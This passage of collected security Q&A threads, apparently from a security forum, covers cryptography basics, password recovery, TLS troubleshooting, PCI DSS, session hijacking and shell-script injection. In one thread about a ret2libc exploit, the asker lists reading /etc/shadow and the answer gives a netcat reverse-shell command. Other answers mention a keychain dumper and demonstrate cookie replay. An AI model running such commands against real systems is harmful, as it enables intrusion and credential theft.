Symmetric cryptography is a lot simpler and more performant, but it does not scale to a large number of communication partners (10 people need 45 keys for each one to talk securely to every one else).

So as a result both systems are often used in conjunction in the real world: The actual data is encrypted using a symmetric session key, which is only valid for one session. This key (or some information from which it can be derived) is transmitted using public/private-key cryptography at the beginning of the session.

Encryption

Anything that is encrypted using a public key can only be decrypted by using the private key.

The most common example is HTTPS. When you connect to an HTTPS server, it will send you a certificate. A certificate is just a public key with some identity information attached to it. Using this public key the browser can send information to the server that only the server can decrypt, using its private key. Building up on that, a symmetric session key is negotiated between the browser and the server, which is used to encrypt the traffic.

Signatures

Using a private key information can be signed and this signature can be verified by using the public key. The most common use case is to sign certificate to tell the world that you trust that certificate to contain correct identity information. There is a number of certification authorities out there which are by default trusted by the common browsers.

Other use cases

Public/Private key cryptography can be used for many different things. The standard example is email, but this is not really widespread because it's too complicated for average computer users. Smartcards are a better example: They store the private key and have a little processor that can do the encryption and signing. So the private key never leaves the device.


Password reset with lost email functionality I have searched and viewed most of the other questions and answers about implementing forgot password functionality on a website.

However, we have a unique situation. When a user registers an account and uses their company-based email as the main email account, how can we implement a forgot password scheme if they no longer work for that company and can't access that email account?

We currently use the standard process of sending an email with a reset link to their primary email account. Most do not have a secondary email address and we do not want them to be able to enter just any email address to send the link to.

Is there a design pattern or process whereby we can have the user enter some information and be taken to a page where they can be allowed to change the email address to send the reset link? BTW, we do not want to use/store security questions. We can find the person by
the information provided using a query about their account record via our web service.

How has this kind of thing been done before? I don't know of any sites that do this because most of them require to send an email to the user's account.

I was thinking something more along the lines of how Experian, TransUnion and Equifax do it when you check your annual credit report. They ask you questions about accounts that are on your report and if you answer them correctly, you are authenticated.

You can offer entering a phone number and send password recovery message there (like Microsoft does) or using some things that only the user knows (e.g. ID of last ivoice)


Is Cross-Domain IP tracking a security feature? We're using a cloud based web security (proxy) service which basically takes our web requests, scans them and NATs these requests to their public IP addresses. NAT is being done on a per-session basis, whatever that means in detail.

We now have a problem with a third party service which is essentially doing something like this:

User goes to URL A (TLD 1) and logs in there
The login then sets a cookie with no domain set (so its only valid for this domain)
It 302 redirects the user to another Domain URL B, and sets some token as GET parameter

At this point the session is rejected with an error message that the public IP does not match (for the proxy its a new session, thus a new IP address is used when NATing this to the outside)

For me this looks like a way to authenticate the user on one site and using services on another without implementing some proper authentication framework.

My question:

Is this IP address check adding any (noteworthy) security? This seems to be a setting we cannot change on the security provider side, so we may need to convince the provider to change this model.

It is unclear from your description if the authentication is done solely on the IP address or if the IP address is an additional security measure but I rather believe that it is used additionally.

If the IP is used as the only authentication it would be pretty weak although maybe sufficient depending on the kind of security actually needed for the service. If the IP address instead is used additionally to existing security measures than it actually increases security since it reduces the risk of session hijacking. Session information are in this case likely encoded in the redirect URL and kind of protected against misuse by encoding the clients IP address too.


Is there any open source TestSuite available to test TLS Server/Client software? I'm Developing TLS server for one of my project and I'm looking for some open source testsuite in the market to validate my TLS server/client code.

Could you please share me the information?

For the validation of the server I use https://github.com/drwetter/testssl.sh, it gives you a lot of information of security issues from my point of view


Global Blackout is a myth? In order to shut the Internet down, anonymous claimed that putting-down the
13 root DNS servers of the Internet and therefore disabling the HTTP Internet, the most widely used function of the Web, would do the job. Those servers are as follow:

A       198.41.0.4
B       192.228.79.201
C       192.33.4.12
D       128.8.10.90
E       192.203.230.10
F       192.5.5.241
G       192.112.36.4
H       128.63.2.53
I       192.36.148.17
J       192.58.128.30
K       193.0.14.129
L       199.7.83.42
M       202.12.27.33

Is there 13 root D.N.S servers, or it's all just a lie, and if this assumption is true, can anyone really bring these servers down ?
personally I think  the reality is they are comprised of networks of multiple servers that handle the millions of DNS queries the root servers receive every hour, so its impossible to do such a thing, as shutting down the internet as we know it.

There are 13 top-level server designations, but there are significantly more than 13 servers, since most of them are multi-homed. Taking down all of them at the same time would be extraordinarily difficult.

Furthermore, the only information you need to get from the root servers is the location of the TLD servers, of which there's only a few hundred. Any resolving DNS server will already have this information cached, so you have to keep all of these server down for the entire period during which the root data is cached, which is typically 2 days.

During this time, people would notice and take countermeasures to prevent caches from expiring.

Altogether it's a tall order at best, and in all reality just a tough-talking pipe dream.


Can someone access my computer if someone else on the same network allowed a hacker to remotely access his computer Earlier today, my partner responded to a phishing attempt (I believe) that suggested he call a number to get his computer scanned for viruses. He called the number, and allowed them access to "scan" his computer.  He doesn't store anything on his computer.  He has no email, no documents, nothing.  I was concerned because I don't know whether my wireless network (which my partner and I both use) could allow a hacker into my computer, which DOES have email, passwords, etc. on it.  I contacted my ISP provided (AT&T), and they say, unequivocally, that my computer could not have been accessed.  I'd like to know if this is true.  Thank you.

A calculated attacker can certainly leverage his access to the network in order to gain access to your computer, however I'm getting the vibe that this guy/gal isn't skilled enough to do that. Anyone with a decent amount of skill wouldn't be sending out phishing e-mails telling you to call him/her unless they're specifically targeting you.

In any case, it's important that you rid the computer of malware infection as soon as possible. Perhaps you can install antivirus software or pay a local computer shop to take care of it for you. Reinstalling the operating system is ideal in this situation and will rectify the issue 99.9% of the time. Just make sure to backup all of your files.

Good luck!


How to Prevent This `Intrusion.Win.MSSQL.worm.Helkern`? Sometimes my kaspersky Internet Security blocks this attack.

What is this and how can I prevent/solve it for ever?

Deinstall MS SQL server, if you don't use it.
Make sure that all you software is updated to the most recent security release.

The vulnerability exploited by "SQL Slammer" (named Helkern by Kaspersky) was fixed 8 years ago (!).

It is normal, that any computer connected to the internet, receives a lot of packets that probe for or contain exploits. They are no risk unless a vulnerable software is running on your computer and listening for packets from the Internet.

Unfortunately some security products try to make themselves appear important by showing warnings in these cases. So if you don't have MS SQL server installed, you should configure your security product to only display warnings for real threats.


PCI DSS 3.0 and card swipe terminals for our merchants We run an online software service that collects and transmits card transactions for small merchants.  They use card swipe terminals connected to their business PCs that direct the traffic straight through to our secure portal via HTTPS with two factor authentication.  These merchants are our customers and their business models and practices are as varied as their names. We don't control what they do inside their office space.  Many are not PCI certified yet.

As part of our sign-up service, we purchase the card swipe hardware for them from hardware resellers and have those distributors drip-ship directly to our customers.  Over the years we have recommended 3 different Magtek models: Imagesafe, MICRImage, and Dynamag Magnesafe. These components never enter our physical premises. They are purchased by us and shipped directly to the customer.  We do not modify them and we do not own them.

So, am I required to track them as part of our hardware inventory under PCI DSS 3.0?  If so, I know I would need hardware and serial numbers, policies and procedures for hardening each one, and a way to test and track each one.  I'm talking thousands of small merchants, and the thought makes me sick.

My hope is that, because I wasn't the distributor, I can simply send each merchant a set of hardening instructions specific to the brand/model of terminal they have and ask for attestation that they have implemented those instructions.  Will that suffice?

My worry is that, because I was the purchaser, I will be on the hook for secure deployment of these terminals in each merchant's environment.

What do you think?

All those merchants will ultimately be responsible for their own compliance and this should be enforced and monitored by their acquirer. They will generally have to complete a Self Assessment Questionnaire, my guess being SAQ B-IP which includes a PED with IP connectivity. That SAQ also includes the PCI DSS requirements 9.9 to which you are referring. If you don't own those devices and you're not responsible for their management, then is the responsibility of the merchants themselves to adhere to those requirements.

Given that you provide the devices to the merchants, you could provide guidance on how they should manage those devices securely, maintain an inventory, identify whether or not they've been tampered with etc but you don't have to do this.


How should privileged accounts be secured in both Linux and Windows? I have recently started work in application security at a mid-sized firm, having transitioned away from 5+ years in security consulting (pentesting, etc). One of the biggest challenges I see here from the start are that security scanners and other tools use root/Administrator access, since that is what vendors had told them to use, most likely because of the ease of configuration. I really don't like this idea. For instance, Nexpose and Nessus are both configured to use root and Administrator.

My question - What are the best practices in terms of governing access to these privileged accounts? My initial thought is to have a type of password-vault system, that solely knows the passwords to the system. Then, a user can "check out" the root/Administrator password as needed" For Nessus in particular, only a few commands are run as root, so I think it would make sense just to create a standard user, and add it to the sudoers file while only allowing those specific commands.

For Linux, disable root if you don't need it. Use sudo with a properly configured sudoers file. This allows fine-grained control over what users have what superuser permissions (i.e. you can allow sudo only for Nessus). Alternatively, you can set permissions so the account running Nessus has permissions to access the resources it needs (this will be more involved, especially if it involves things like network devices)

For Windows, it's a little more complicated, but if you set up your ACLs correctly, you should be able to run Nessus as a (custom?) service account that has permissions to whatever resources you normally need admin for (so you won't be prompted for passwords).

The password vault idea is dangerous. If you trust your users enough to give them an admin password, they should be admins in the first place (I'm guessing this is not the case).


Can servers store the mac address of the computer on the server side to prevent session hijacking? Can servers store the mac address computer on the server side to prevent session hijacking?

For example, if in the server side, the servers store the mac address and the session id as a pair and compare the mac address and the session id on every request to prevent the session hijacking.

I think if that is done or doable it will be helpful and a good solution to prevent session hijacking.

Is this doable and if it is not, what are the problems that prevent that.

Using the MAC address as a condition for session termination in general

Generally a changed MAC address might be used as a weak condition to terminate sessions, but be aware

they can be arbitrarily faked for most network cards (so you just need to find one which makes this possible)
they will also change when a user is on the same device, but switches network interfaces (for example between mobile broadband, WiFi and Ethernet connection).

Servers do not know MAC addresses of clients

Anyway, learning the MAC address is not possible for a server, as the server does not receive the client's MAC address at all and cannot query for it (as long as he's not on the same network segment, which will pretty much never happen in any internet scenario).

MAC addresses are only used for data transmission on OSI layer 2 (Data link), and MAC address information of the previous sender is discarded by each router on the path as he replaces the frame headers for the next hop.

The Address Resolution Protocol ARP will not help at learning the client's MAC address either, as it's limited to the local network segment.


Susceptibility of 7z encrypted archive files to man in the middle attacks Given:

A file (assume 1 GB in size) is encrypted along with filenames using 7zip into a 7z archive using AES-256
The file is uploaded to a cloud storage service such as those offered by Google, Amazon, or Microsoft
The file is downloaded by a peer on a separate network and the peer is offered the password in a secure manner

Acknowledgements:

I realize that if someone got the password then their job would be easy
I also realize that the security is only as great as the developer who created 7z made it
I went through as many similar topics as I could find on here and elsewhere about this and while similar questions have been asked, I don't believe the exact concerns here have been addressed so I hope this is not a duplicate.

Questions:

Does using a linux based operation to create such files offer more security than doing so with 7zip on Windows?
How susceptible would this kind of operation be to an attacker, government agency, etc... seeking to know what the contents of the archive are? Would that middle man need to intercept the entire file in order to potentially gain access to the contents?
What other flaws may have been overlooked in this approach?
Are there better alternatives that offer comparably equal ease of implementation?

Context

What we have here is a symmetric encryption scheme implemented using 7z for encryption. Since I trust that, as you stated, the password is shared in a secure manner, we can consider it a pre-shared secret (at least pre-shared by the time of decryption). This means that the security of the scheme is dependent on the 7zip implementation of AES, etc.

Also, due to the nature of symmetric encryption with pre-shared secrets, an active attack (e.g. a man-in-the-middle attack) is no more useful than a passive eavesdropper.

  Does using a linux based operation to create such files offer more security than doing so with 7zip on Windows?

As long as your system is not compromised, either system would be equally fine. Which one is less likely to be compromised, etc, is a different question

  How susceptible would this kind of operation be to an attacker, government agency, etc... seeking to know what the contents of the archive are? Would that middle man need to intercept the entire file in order to potentially gain access to the contents?

As mentioned above, "intercepting" the file would be no better/worse than passively observing it, so a gov't agency would be no better off than your cloud provider, etc.

Whether they could (physically) compromise your devices, install keyloggers, use a $5 wrench to extract the password, etc, is a different question. How worrisome these threats are is up to you.

Cryptography-wise, the security is 100% dependent on the security of the encryption and the password. Since AES is pretty strong, I'd only worry about the password. (edit, thx @SteffenUllrich:) Since the password is being securely communicated, the only thing that you need to worry about is its strength. I recommend using a password manager to store and generate your password for the time between its creation and when it is sent to your friend/coworker/etc.

  What other flaws may have been overlooked in this approach?

(edited in later:) As mentioned in the comments, you might want to look into how 7zip hashes passwords, etc.

  Are there better alternatives that offer comparably equal ease of implementation?

Overall, I'd say that your current setup passes with flying colors. It's simple and uses established algorithms (i.e. AES).


Are Java applications vulnerable to CVE-2014-6321 (WinShock)? CVE-2014-6321 (also known as MS14-066) is a heap overflow vulnerability discovered by Microsoft engineers in Schannel, the SSL/TLS implementation used by Windows.

My Java application uses SSL (JSSE Implementation) and so now I'm wondering if my application is at risk due to this vulnerability or it is irrelevant?

The vulnerability (still undisclosed) is also described as "Microsoft Schannel Remote Code Execution Vulnerability", which indicates that it is an implementation weakness (namely, a probably boring buffer overflow), not a protocol weakness. Thus, there is no reason to believe that the vulnerability would be shared with any other independent implementation of the protocol.

(Furthermore, Java's implementation of SSL/TLS is not only independently developed; it is also written in Java, which is inherently resilient to buffer overflows, since all array accesses in Java are inherently validated against the actual array length.)


Additional security measures for getting Chrome Saved Passwords via password management Hacked or Exposed? I've noticed that there are quite a few applications out in the open now to decrypt chrome's password management features. I've seen hacks where a hacker remotes into a computer and runs an app revealing all the saved chrome passwords. What are some anti-measures to prevent this from happening aside from not using the feature all together.

Is there a way to encrypt chrome's password management feature so these apps cannot decrypt it?
What other alternatives to password management are there?

As far as I remember, like Firefox chrome got a master password function which encrypt the saved passwords. Each time a password is required it will ask you to enter your master password to use a saved credential.

Alternative if you don't want to use native functionality for password protecting, you can use one of numerous software existing for that subject such as Bitdefender password waller which is IMO one of the best one.


Should cookies expire? Let's say I have an account on a blog. I'm using https on every single page of that blog through web server rules, so there is no way to visit the page in the clear text. I'm also using a laptop that utilizes full disk encryption, and I'm the one who uses the machine. More over, I have 128 bit auto generated passwords for each site on the internet, and each of the password is different. I also store the passwords in an encrypted keyring, just in case that I need them, but usually I don't because of the cookies. And here's the problem. Most of the internet sites (especially WordPress ones) have strange policy regarding cookies. In the case of WordPress, the default cookie expiration time is set to 2 days. If you checked the "Remember" option, that would be 14 days. So once for a while you have to log in whether you like it or not.
Is this necessary? I mean, what would happen if the cookies have no expiration time set? Is there a way to steal them somehow? If you have the whole site encrypted, and no one can access your machine, should you still be worried about cookies that are sent through the internet? I've never been asked, for instance, by google for password while checking my emails.

First off, your connection to a website being encrypted does not necessarily mean that your connection is actually secure. It certainly helps, but encryption can differ massively in quality. You might have heard about POODLE, as well as FREAK. Bugs and side effects like these could mean that a sufficiently powerful attacker might be able to break the SSL. And that's not even including the possibility that a CA has been compromised, like happened with Diginotar. And of course, the website itself might be compromised, with a piece of Javascript stealing your cookies and even your credentials, like the Tunisian government did with Facebook.

So assume that the attacker has your cookie. The server actually uses that cookie to know who you are, because that's the only way it can know that. IP addresses can change and aren't unique enough. Browser sniffing is complicated and can break when you do something like patching Chrome (maybe to deal with a bug in TLS). hardware footprints are hard to acquire and aren't unique enough as well. So the only way is by having a small file on your computer that tells the server who you are. So if anyone knows what is in that file, they can use that to login as you.

You can test that yourself. Open your dev console, find your cookies list on this website, open an incognito tab to this website and edit the cookies using an extension. Once you refresh the page, you're logged in to the website without entering your credentials. A few years ago, there was a tool called Firesheep that could track non-TLS connections other people made on a public wifi (say, a starbucks) and impersonate them. Even now, you can buy a special tool called a Pineapple for 100 EUR, trick people into connecting to your wifi and steal their data.


Testing TLS with openssl I'm troubleshooting making a TLS connection, and using openssl to do it.  I'm unable to get the ARM computer (w/ Debian8) to connect to my server in GCP (mqtt:8883 to be exact).  I generated self signed certificates on the server and installed them on the ARM computer, but it won't connect, clearly due to a certificate issue:

write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 0 bytes

On a windows machine I install certificates and openssl connects (openssl from MinGW/msys) and also my Debian 8 VM on that windows machine.  So I'm confident the server is setup correctly, and I do get the concept of installing the certificates.  (oddly, when I delete the certificate files I added, it STILL works... must be some caching, would like to know to clear that)

On the ARM machine that won't work, I've tried manually specifying the path (-CApath) or file (-CAfile).

How do I verify what certificates openssl is trying?  Does it look in subfolders?

Could it be because the certs are self signed? (why would it work on the other machines then?)

More information: I tried openssl verify on the certificates on the ARM machine (the self signed, and the server certificate):

:/etc/ssl# openssl verify ca_certificates/ca.crt
ca_certificates/ca.crt: CN = An MQTT broker, O = OwnTracks.org, OU = generate-CA, emailAddress = nobody@example.net
error 18 at 0 depth lookup:self signed certificate
OK

:/etc/ssl# openssl verify ca_certificates/server.crt
ca_certificates/server.crt: CN = ########.com, O = OwnTracks.org, OU = generate-CA, emailAddress = nobody@example.net
error 20 at 0 depth lookup:unable to get local issuer certificate

clearly due to a certificate issue:
write:errno=104
...
SSL handshake has read 0 bytes and written 0 bytes

This is definitely not an issue of certificate validation. As you can see, it has send 0 bytes and got 0 bytes. This means the SSL handshake was not even started and therefore the client could have not received any certificates and therefore it can not be a problem with certificate validation.
In fact, errno 104 is ECONNRESET. This means that either the server closed the connection maybe due to problems with the setup or that the server was not even started or that there is some firewall between client and server blocking access. Given that the ECONNRESET happens before any data where sent I would suggest that the TCP handshake already failed, either because server was not started or a firewall.


How to deal with "Session resumption (caching)" warning? Can anyone explain the below "Session resumption (caching)" warning to me and how to deal with it? It's from an SSL Labs test.

This isn't a security warning at all. It is more an indicator of a misconfiguration which is bad for performance but not relevant for security: The server issues session ID's for resumption but if the client tries to resume a session using the server provided ID it will not work. For reasons this might happen see this discussion.


Google login 2 factor authentication sms -fake or real? All my 2 factor authentication used to come from Google sms, but recently I've had the following numbers come up on my phone. I realise that to do this the person would need to have my phone number. I checked and this seems to be a number in canada. I did have a strange phone call from canada about a week ago but not sure if this is connected. Does anyone know if this is just my jumpiness or if this a legit attack. If it is, how can I prevent?

These appear to be valid Canadian numbers but are not Google numbers so not legit. Also not likely to actually be from the numbers listed. Far too easy to spoof caller ID's I'm afraid.

Scammers don't need your number, most operators have a range and auto-dialers can call huge numbers of phones in a short space of time.

Unfortunately there is little you can do though it may be worth reporting to your carrier, your local telecoms regulator and your local law enforcement organisation specialising in cyber crime if you have one (Action Fraud in the UK for example). Although you won't normally get much response, occasionally, when a large number of reports are received, something may be done about it.


What should you do if you cannot spawn a shell in a buffer overflow attack? I have successfully exploited a program using ret2libc but I am running into a problem.
Whenever I feed system() with /bin/sh I have nothing in return the program silently exit.

However, if I feed echo val > /t and I read /t I get val.

So  I am able to run partial commands and I want to know which commands can be used instead of spawning a shell?

I thought of:

nc -l -p 99 #but I get illegal arg -p
cat /etc/shadow #but I get sh: 1: tc/shadow: not found

I would like to know what other possibilities I can execute that would give me access to the vulnerable server/computer bearing in mind that reverse shell (nc -l -p -e /bin/sh) didn't work due to string limitation of some sort.

A reverse shell should do it.  You have several options.  Read a bit more on it here.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

With netcat I believe it could be done the following way

nc -e /bin/sh 10.0.0.1 1234


Is shred -n1 /dev/sda demonstrably worse than Bleachbit? Given an ext4 harddrive (not SSD) with no files, is running

sudo shred -n1 /dev/sda
# one pass, no zeroes, over whole drive

demonstrably less reliable than using Bleachbit's "Wipe free disk space" tool on the same location?

(As far as I can see Bleachbit doesn't run a zero pass. If it does, assume shred -zn1 for comparison.)

No

The wipe free disk space tool will overwrite free blocks. Here you are overwriting the full disk.

While with the wipe free disk space tool there could be remaining data in slack space of used blocks¹ (and perhaps some other blocks that cannot be overwritten), with shred you are overwriting the contents of the whole disk, so it seems that the shred solution would perhaps be more reliable.

Note that you are not defining what you consider reliable, and both solutions will probably be similar, but given that you asked is shred is demonstrably worse, the answer is clearly no.

¹ Ok, they could be overwriting that, too (editing every file file to enlarge with random data, and then shrink back), but it would be an unusual move (and could conflict with other processes, not to mention files the OS won't allow to touch...).


Is it safe to answer to a suspected email as long as I don't click any link? I received an email and I'm not sure it's authentic. It asks to answer to the email itself:

without editing the subject
to activate a service
it doesn't ask me to click any link (except for confirming I have read the content, but it's optional)

and

it doesn't contain any attachments

I should only answer to it to activate the service, and even in the case it was a scam my name is not visible when I send emails. I wonder:

given that I received a fake email/attempt of phishing, as long as I don't click any link is it still risky to answer to it?

If somebody has emailed you they currently have no idea whether your email is even used in the first place, so replying will do nothing but flag that there is somebody on the other end, therefore making your email more "valuable" to other scammers. You shouldn't click any link in the email AT ALL. A simple trick would be to add an "unsubscribe" link at the bottom of the email, it could lead anywhere and end up with your data, address etc. being in the spammer's hands.

ARTICLE
http://www.pcmag.com/article2/0,2817,2376031,00.asp


Are shell scripts / bash inherently less secure than other (script) languages such as python? Are shell scripts / bash suitable for any kind of task as long as the developer(s) write correct, security bug free scripts?

Or are shell scripts / bash less advisable for some tasks such as parsing untrusted data over networks?

Are shell scripts / bash inherently less secure than other (script) languages such as python?

This question is being asked from perspective of someone who writes shell / bash scripts, that could also write those in other languages if necessary.

Short version:

Shell scripts require more caution with untrusted input; there are inherent dangers.
Shell scripts are not general purpose languages, and are probably unsuited for "parsing untrusted data over networks"
All that said, shell scripts can do amazing amounts of things, and can do it securely with enough care.  Should is a different matter, and left to the coder to determine...

Long version:

See the "Injection Attacks" section of this Shell Scripting Primer.  Because data is often passed via variables and to command lines, and because command lines do globbing and parsing in ways which were designed to be powerful but trusted the user, extra care needs to be taken in shell scripts (as opposed to general-purpose languages which more carefully separate variables from process execution).

Consider this script:

#!/bin/bash
echo -n "String: "
read BADE
echo $BADE

And watch me run it:

$ ./foo.sh
String: hello
hello
$ ./foo.sh
String: -n hello
hello$

Notice that in the second execution of foo.sh, the "-n" that I entered as part of the user input string is treated as a command line argument by the echo command.  As a result, there's no newline between "hello" and the "$" prompt, as there was in the first execution of foo.sh.

While it's possible to sanitize user input, doing so in bash means using tools which may be vulnerable to this sort of manipulation (consider 'echo $INPUT | tr -d ...').  In general, the fact that bash is not a general purpose language means that doing anything usually requires other programs to be invoked, and you can't think about the security of bash alone, but also the security of all the programs it's calling.

In bash, those subprogram calling interfaces are parsed rather than programatically defined.  In most general-purpose programming languages, there's a clearer distinction between data and code.  Strings passed to functions are passed as a string, not as a series of tokens which are parsed for potential function variables before being treated as data.  So, yes, bash is "less advisable for some tasks such as parsing untrusted data over networks".

"Inherently less secure" is not a phrase that I think should be used.  Every programming language on the face of the earth has strong points and weak points.  If I'm programming in C, I need to be very careful about memory allocation and boundaries, because the language isn't.  In Bash, memory allocation and boundaries are handled for me, but I need to worry about data and command channels being easily mingled.  And this interview with Guido van Rossum shows how with Python the interpreter has been subject to vetting for security issues and when asked "when 'enough is enough' in terms of hardening the interpreter" responded "That's not really how we approach it.  We realize that security is an ongoing effort..."

This sort of question is always difficult because it's subjective.  If you're a bash expert, should you write in Python, which you might not know?  Or will your knowledge of how bash works help you avoid the pitfalls?  And your answer is going to be different than his, than hers, than anybody else reading this.  There's people out there that have written amazing network servers in bash, no doubt; it's possible, so never say it can't be done.

The objective truth is: know your languages, and know their strengths and weaknesses, and choose the right one for the job.  And try to continually learn how to do so securely because "security is an ongoing effort."


Is there any way to list the contents of the iPhone/OSX Keychain and their security level? I have a few apps that I purchased from the app store that probably store information in my keychain on OSX and on the iPhone.

Since it's possible for keychain items to be bound to a device (and invalid when restored to a new device) I'd like to know what my application uses.

So, how can I enumerate through the Keychain on OSX and iPhone/iPad and see what kind of security is being used?
Can I view the full contents of the keychain?

On mac os x, you can view the keychain items by opening the Keychain Access application.

On the iphone, keychain dumper can be used to dump all the keychain items. But it only works on jailbroken phones. To know more on usage of keychain dumper visit - http://www.securitylearn.net/2012/03/27/keychain-dumper-usage-explained/


What is this TLS record? What is the response from the server below?

# openssl s_client -msg -connect [REDACTED].mariadb.database.azure.com:3306
CONNECTED(00000003)
>>> ??? [length 0005]
    16 03 01 00 ab
>>> TLS 1.2Handshake [length 00ab], ClientHello
    01 00 00 a7 03 03 d5 ad 08 ff bb 5d be 2e 74 f1
    a9 84 1f 2c 2e a3 76 20 48 d7 a7 9f 97 05 90 d8
    65 3c 5b cc 9a df 00 00 38 c0 2c c0 30 00 9f cc
    a9 cc a8 cc aa c0 2b c0 2f 00 9e c0 24 c0 28 00
    6b c0 23 c0 27 00 67 c0 0a c0 14 00 39 c0 09 c0
    13 00 33 00 9d 00 9c 00 3d 00 3c 00 35 00 2f 00
    ff 01 00 00 46 00 0b 00 04 03 00 01 02 00 0a 00
    0a 00 08 00 1d 00 17 00 19 00 18 00 23 00 00 00
    16 00 00 00 17 00 00 00 0d 00 20 00 1e 06 01 06
    02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03
    01 03 02 03 03 02 01 02 02 02 03
<<< ??? [length 0005]
    4c 00 00 00 0a
140683495883200:error:1408F10B:SSL routines:ssl3_get_record:wrong version number:../ssl/record/ssl3_record.c:252:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 5 bytes and written 176 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1556977235
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
---

Based on the first byte (the content byte) of this response, it is not any valid record type:

0x14    20  ChangeCipherSpec
0x15    21  Alert
0x16    22  Handshake
0x17    23  Application
0x18    24  Heartbeat

Oddly, when I connect to this database via MySQL Workbench, it works, but connecting through DBeaver or OpenSSL fails as seen below.

I have checked if this is normal by using a different endpoint entirely, and these five-byte items appear, one for each record, but they all follow the expected content type codes.

It looks like you are trying to use TLS against a mysql/mariadb database by directly starting with the TLS handshake. Only, the mysql application protocol does not work this way. There is first some protocol exchange and only if this exchange shows that TLS is supported it will be used.  This is similar to SMTP+STARTTLS, FTP+AUTH_TLS etc ... Thus, what you see as response from the server is not TLS but the mysql application protocol.

For details of this protocol see the documentation of the protocol.


Zero trust across micro-services using JWT I am planning to implement JWT authentication on my micro-services to achieve zero trust architecture. User will generate a JWT token through front end micro-service. Each subsequent request will contain this JWT which will be forwarded to backend services so the service can authenticate the user on it's own instead of taking a simple user id from front-end service. The scenario fails in two conditions

User initiates a call on front end service which generates a long list of steps to be performed on backend services sequentially. The JWt token will eventually expire and the sequence of steps will stop as backend services will not authenticate further requests from frontend with an expried token
A backend service starts some process on user resource through an internal process. e.g. Delete user server if the invoice is unpaid.

In both of the scenarios user will not be available to generate a new JWT token through login credentials. Should I implement one time and purpose specific tokens in addition to JWT to resolve these issues or is there a better alternative?

tl/dr: it's okay to have the backend accept a user id as part of a zero-trust architecture.  The more important part is that your
services must authenticate themselves to the backend, and the
appropriate parts of the backend should only accept requests from
your services (not from end-users).  As a result your issue is trying
to use the auth token of an end-user for services that the end-user
isn't supposed to access directly.  Let your services authenticate
themselves with the backend, and then it's perfectly fine to pass
along a user id.

Who is a "user"?
I think the key is that you're confusing who the "user" of some of your backend systems is.
This is most clear with your second example: deleting an inactive user.  This is a system-only process.  The user will never trigger this action themselves.  The backend is the "user" performing the action, even though a user account is being affected.  As a result it doesn't really make sense in the first place to be using the user's access token to delete the user.  It's not like the user is ever going to be making these requests to the backend themselves.  Indeed, user's should not be able to access these endpoints anyway.  If somehow a user managed to access the backend to try to delete their account, their access token should be rejected - this endpoint is intended for system use only, (presumably) not for users to delete themselves.  Therefore, by using the user's auth token to perform these system actions, you're authenticating as the wrong "person".
The situation is a bit more murky with your first example, because it is the user who makes an initial request which triggers the later actions.  However, the overall situation seems is still the same anyway - a backend process is taking action on the user's data.  The "user" of this system is not the actual end user, but is instead part of your own system.  It just happens to be acting on behalf of your users.
In short, if you have backend services that are not meant to be invoked directly by users, then those services shouldn't accept the user's access token.
So what to do?
So how do you implement a zero-trust system?  Naturally, the same way you are trying to do it - you're just authenticating as the wrong person.  It's not the user that needs to authenticate itself to the backend, but rather it is whatever service is making use of the backend that needs to authenticate itself.  This may or may not be with JWTs.  It may be a simple matter of having an authentication token that only the "cron" service knows, and which it uses to authenticate itself with your backend.  Those details are up to you.
However, I think that's the only real answer.  These services need their own way to authenticate themselves with the relevant parts of your backend, and those parts of the backend should only accept requests from your authenticated services - not from end users with end-user JWTs.  You'll obviously have to build the authentication method for your services in a way that covers issues with credential rotation if relevant.  However, since you won't be using the user's password as part of that process, that won't be a concern.


Can it be dangerous to curl without any option an HTTP address? I wanted to know my external IP address from the command line. I found this answer on Ask Ubuntu: Command for determining my public IP? which suggests to use
curl -s https://checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'

But the address https://checkip.dyndns.org is detected as malicious on several forums.
Was my curl command dangerous for my system in this case?
Also in a more general way: is a curl without option (and with a sed) dangerous? By dangerous, it can mean anything else than just printing my IP address, executing malware etc.

If the site was designed to exploit a vulnerability in curl or sed, then yes, it would be dangerous.
But the likelihood of that being a threat would depend on curl vulnerabilities and the site being so designed. It is unlikely that a site run by a Fortune 500 company would be so uniquely and narrowly programmed.


How to avoid scripts with hardcoded password? I have some scripts on Ubuntu Linux machine that logs in to a database server to run some maintenance daily. To login to the database, I need a password and right now it is hard-coded in the script.

What are better ways to run this script without hard-coding/exposing the password?

As mentioned in other answers your credentials will be somewhere accessible to your script.

But I would put them is separate configuration file which will be read by your script.

You will have the following advantages:

you can use the same script for several systems (with different configuration files)
you will be able to share the script with others (or show it to someone without compromising your credentials)


Database Protection : External & Internal My company is using a weird database setup and I can't really figure what it is adding in term of security.

Our Setup

Outside World  [Firewall] DMZ – Web Server [Firewall] External Database [Firewall] Internal Database

The web server can only communicate with the External Database.
The External Database cannot be accessed from the outside. For example, I cannot access it from my home even if I know the address and have valid username/password.
The Internal Database cannot be accessed from the outside too.

So, the only difference between the External and the Internal Database is that the web server can access the External but not the internal.

Our data flow

When a user enters some information on our website, that information is sent to our webserver. The webserver then insert that information into the External Database. Then a job will run periodically and will take the new data on the External Database and insert it into the Internal Database. Then, employee can modify the data in the internal database and these modifications will be synchronized back into the External Database.

My question

What does it add from a security point of view to have an External and an Internal Database?

It would make sense if one database was accessible from the outside but since they are both behind the firewall what does it changes if we insert directly into the Internal Database. Anyway, if we insert something on the External Database, it will get synchronized to the Internal Database as well.

My problem

We dug ourselves in a complicated synchronization mess with jobs running everywhere, data duplicated everywhere and with that come the traditional errors. Some jobs are not updated when we update the schema, the data is no longer the same between all the databases and we end up with a ton of data that we no longer knows if it’s the most recent copy or not and which one is valid and etc. I see all those problems as a big waste of time and money.

Now, the big reason why we made it so complicated is because: “It’s more secure”. Is it really the case because I don’t see the difference between the web server inserting the data directly into one database and using multiple jobs to synchronize that data everywhere?

